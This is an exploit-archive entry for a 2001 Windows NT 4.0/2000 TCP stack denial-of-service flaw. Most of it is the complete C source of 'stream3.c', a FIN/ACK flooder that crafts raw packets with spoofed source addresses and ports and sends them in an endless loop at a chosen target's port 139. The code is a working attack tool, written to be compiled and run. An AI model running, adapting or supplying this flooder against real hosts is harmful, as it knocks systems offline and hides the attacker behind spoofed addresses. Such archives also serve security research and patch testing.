Microsoft Windows NT 4.0/2000 - TCP Stack Denial of Service (1)

EDB-ID:

21245


Author:

3APA3A

Type:

dos


Platform:

Windows

Date:

2001-04-13


// source: https://www.securityfocus.com/bid/3967/info

An issue exists in Windows which could cause the TCP stack to consume all available system memory.

This is achieved if a user sends numerous empty TCP packets to a host on port 139.

Successful exploitation of this vulnerability could render the system useless.

/*                                    
 stream3.c - FIN/ACK flooder
 Tested to compile and work under FreeBSD
 (c) by 3APA3A @ SECURITY.NNOV, 2000
 3APA3A@security.nnov.ru
 http://www.security.nnov.ru
 Thanx to DarkZorro & Error for discovering this problem
 Greetz to void.ru. Get better, Duke!
*/

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <strings.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>


#include <netinet/in.h>
#include <netdb.h>

#ifdef LINUX
#define FIX(x)  htons(x)
#else
#define FIX(x)  (x)
#endif

#define	TH_FIN	0x01
#define	TH_SYN	0x02
#define	TH_RST	0x04
#define	TH_PUSH	0x08
#define	TH_ACK	0x10
#define	TH_URG	0x20


struct ip_hdr {
    u_int       ip_hl:4,                /* header length in 32 bit words */
                ip_v:4;                 /* ip version */
    u_char      ip_tos;                 /* type of service */
    u_short     ip_len;                 /* total packet length */
    u_short     ip_id;                  /* identification */
    u_short     ip_off;                 /* fragment offset */
    u_char      ip_ttl;                 /* time to live */
    u_char      ip_p;                   /* protocol */
    u_short     ip_sum;                 /* ip checksum */
    u_long      ip_src, ip_dst;           /* source and dest address */
};

struct tcp_hdr {
    u_short     th_sport;               /* source port */
    u_short     th_dport;               /* destination port */
    u_long      th_seq;                 /* sequence number */
    u_long      th_ack;                 /* acknowledgement number */
    u_int       th_x2:4,                /* unused */
                th_off:4;               /* data offset */
    u_char      th_flags;               /* flags field */
    u_short     th_win;                 /* window size */
    u_short     th_sum;                 /* tcp checksum */
    u_short     th_urp;                 /* urgent pointer */
};


struct pseudo_hdr {                     /* See RFC 793 Pseudo Header */
    u_long saddr, daddr;                /* source and dest address */
    u_char mbz, ptcl;                   /* zero and protocol */
    u_short tcpl;                       /* tcp length */
};

struct packet {
    struct ip_hdr ip;
    struct tcp_hdr tcp;
};

struct cksum {
    struct pseudo_hdr pseudo;
    struct tcp_hdr tcp;
};



u_short dstport=139, srcport=0;
u_long dstaddr, srcaddr=0;
int sock;

void usage(char *progname)
{
    fprintf(stderr, 
     "Usage: %s <dstaddr> <dstport> <srcaddr> <srcport>\n"
     "    dstaddr     - the target we are trying to attack.\n"
     "    dstport     - TCP port (139 default).\n"
     "    srcaddr     - spoofed source address (random default)\n"
     "    srcport     - spoofed source TCP port (random default)\n",
    progname);
    exit(1);
}



/* This is a reference internet checksum implimentation, not very fast */
inline u_short in_cksum(u_short *addr, int len)
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;

     /* Our algorithm is simple, using a 32 bit accumulator (sum), we add
      * sequential 16 bit words to it, and at the end, fold back all the
      * carry bits from the top 16 bits into the lower 16 bits. */

     while (nleft > 1)  {
         sum += *w++;
         nleft -= 2;
     }

     /* mop up an odd byte, if necessary */
     if (nleft == 1) {
         *(u_char *)(&answer) = *(u_char *) w;
         sum += answer;
     }

     /* add back carry outs from top 16 bits to low 16 bits */
     sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
     sum += (sum >> 16);                /* add carry */
     answer = ~sum;                     /* truncate to 16 bits */
     return(answer);
}

u_long lookup(char *hostname)
{
    struct hostent *hp;

    if ((hp = gethostbyname(hostname)) == NULL) {
       fprintf(stderr, "Could not resolve %s.\n", hostname);
       exit(-3);
    }

    return *(u_long *)hp->h_addr;
}


void flooder(void)
{
    int i;
    struct packet packet;
					/* use same structure as pseudo packet */
    struct cksum  * cksum = (struct cksum *)((char *)&packet + sizeof(struct ip_hdr) - sizeof(struct pseudo_hdr)) ;
    struct sockaddr_in s_in;
    
    memset(&packet, 0, sizeof(packet));
    
    if(!srcaddr)srcaddr = random();
    if(!srcport)srcport = rand();


    packet.tcp.th_win           = htons(16384);
    packet.tcp.th_seq           = random();
    packet.tcp.th_ack           = 0;
    packet.tcp.th_off           = 5;
    packet.tcp.th_urp           = 0;
    packet.tcp.th_ack 		= rand();
    packet.tcp.th_flags 	= TH_ACK|TH_FIN;
    packet.tcp.th_sport 	= htons(srcport);
    packet.tcp.th_dport         = htons(dstport);
    cksum->pseudo.daddr          = dstaddr;
    cksum->pseudo.saddr		 = srcaddr;
    cksum->pseudo.mbz            = 0;
    cksum->pseudo.ptcl           = IPPROTO_TCP;
    cksum->pseudo.tcpl           = htons(sizeof(struct tcp_hdr));
 
    packet.tcp.th_sum           = in_cksum((void *)cksum, sizeof(struct cksum));

    packet.ip.ip_hl             = 5;
    packet.ip.ip_v              = 4;
    packet.ip.ip_p              = IPPROTO_TCP;
    packet.ip.ip_tos            = 0x08;
    packet.ip.ip_id             = rand();
    packet.ip.ip_len            = FIX(sizeof(packet));
    packet.ip.ip_off            = 0;
    packet.ip.ip_ttl            = 255;
    packet.ip.ip_dst		= dstaddr;
    packet.ip.ip_src     	= srcaddr;
    packet.ip.ip_sum         	= 0;
    packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);

    s_in.sin_family             = AF_INET;
    s_in.sin_port               = htons(dstport);
    s_in.sin_addr.s_addr	= dstaddr;
    for(i=0;;++i) {			/* we do not want to change packet at all */
       if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0)
          perror("sendto()");
    }
}

int main(int argc, char *argv[])
{
    int on = 1;

    printf("stream3.c v0.1 - FIN/ACK Storm\n 3APA3A@security.nnov.ru\n");

    if (argc < 1) exit(-3);
    if (argc < 3 || argc > 5)
       usage(argv[0]);

    srand(time(NULL)); 			/* we needn't too much randomness */

    dstaddr     = lookup(argv[1]);
    dstport     = atoi(argv[2]);

    if (!dstaddr || !dstport) usage(argv[0]);

    if(argc > 3) srcaddr = lookup(argv[3]);
    if(argc > 4) srcport = atoi(argv[4]);

    if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
       perror("socket()");
       exit(-1);
    }

    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
       perror("setsockopt()");
       exit(-2);
    }

    printf("Starting"); 
    fflush(stdout);

    flooder();

    return 0;
}